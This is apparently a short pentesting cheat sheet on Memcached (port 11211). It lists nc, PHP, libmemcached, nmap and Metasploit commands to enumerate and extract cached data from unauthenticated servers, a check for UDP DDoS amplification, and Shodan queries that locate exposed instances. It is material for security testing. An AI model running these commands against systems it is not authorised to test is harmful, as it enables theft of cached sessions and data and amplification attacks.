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11211 - Pentesting Memcache

Protocol Information

Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From wikipedia) Although Memcached supports SASL, most instances are exposed without authentication.
Default port: 11211
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PORT STATE SERVICE
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11211/tcp open unknown
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Enumeration

Manual

To ex-filtrate all the information saved inside a memcache instance you need to:
    1.
    Find slabs with active items
    2.
    Get the key names of the slabs detected before
    3.
    Ex-filtrate the saved data by getting the key names
Remember that this service is just a cache, so data may be appearing and disappearing.
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echo "version" | nc -vn -w 1 <IP> 11211 #Get version
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echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
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echo "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabs
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echo "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with info
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echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)
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echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
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#This php will just dump the keys, you need to use "get <item_name> later"
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sudo apt-get install php-memcached
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php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
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Manual2

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sudo apt install libmemcached-tools
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memcstat --servers=127.0.0.1 #Get stats
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memcdump --servers=127.0.0.1 #Get all items
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memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
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Automatic

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nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
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msf > use auxiliary/gather/memcached_extractor #Extracts saved data
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msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
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Shodan

    port:11211 "STAT pid"
    "STAT pid"
Last modified 1yr ago